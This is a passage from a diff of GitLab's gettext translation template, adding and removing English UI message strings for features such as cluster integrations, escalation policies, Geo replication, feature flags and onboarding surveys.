msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7292,12 +7378,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7460,6 +7540,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7544,9 +7627,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7607,7 +7687,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7703,9 +7783,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7718,9 +7795,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7817,9 +7891,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7958,9 +8029,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7973,9 +8041,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8249,6 +8314,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8395,6 +8469,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8533,9 +8610,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8656,6 +8730,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8719,6 +8796,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8882,6 +8962,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9565,9 +9648,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9598,9 +9678,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9652,6 +9729,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9703,6 +9783,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9736,6 +9819,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -10063,27 +10149,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10310,9 +10375,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10532,9 +10603,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10903,6 +10971,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11640,22 +11711,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11664,6 +11741,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11691,6 +11771,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11712,6 +11795,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11724,21 +11810,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11805,15 +11903,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11841,6 +11939,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -12071,7 +12172,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -12086,6 +12187,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12095,9 +12214,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12212,9 +12328,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12269,6 +12382,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12398,13 +12514,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12482,6 +12598,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12527,9 +12646,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12551,9 +12667,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13223,9 +13336,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13238,12 +13348,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13352,6 +13468,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13413,7 +13577,12 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -14059,6 +14228,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -14083,9 +14255,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -14113,9 +14282,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -14134,9 +14300,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14179,9 +14342,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14197,7 +14357,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14451,6 +14611,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14556,6 +14725,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14574,6 +14746,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14601,6 +14776,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14868,6 +15052,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14895,6 +15082,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14922,6 +15112,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14946,6 +15139,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14973,6 +15169,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -15018,6 +15217,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -15030,10 +15232,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15198,6 +15406,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -15210,10 +15424,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15459,9 +15676,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15558,16 +15772,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15600,9 +15817,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15657,6 +15871,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15735,7 +15952,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15849,6 +16066,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15909,6 +16129,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15930,13 +16153,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15999,6 +16225,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16317,9 +16546,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16356,22 +16582,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16443,7 +16678,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16458,6 +16693,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16470,6 +16708,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16589,9 +16839,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16624,9 +16871,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16711,9 +16955,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16723,9 +16982,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16879,6 +17135,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -17134,6 +17393,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17167,6 +17429,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17179,9 +17444,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17194,6 +17468,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17320,6 +17597,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17359,6 +17639,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17374,10 +17657,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17413,9 +17696,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
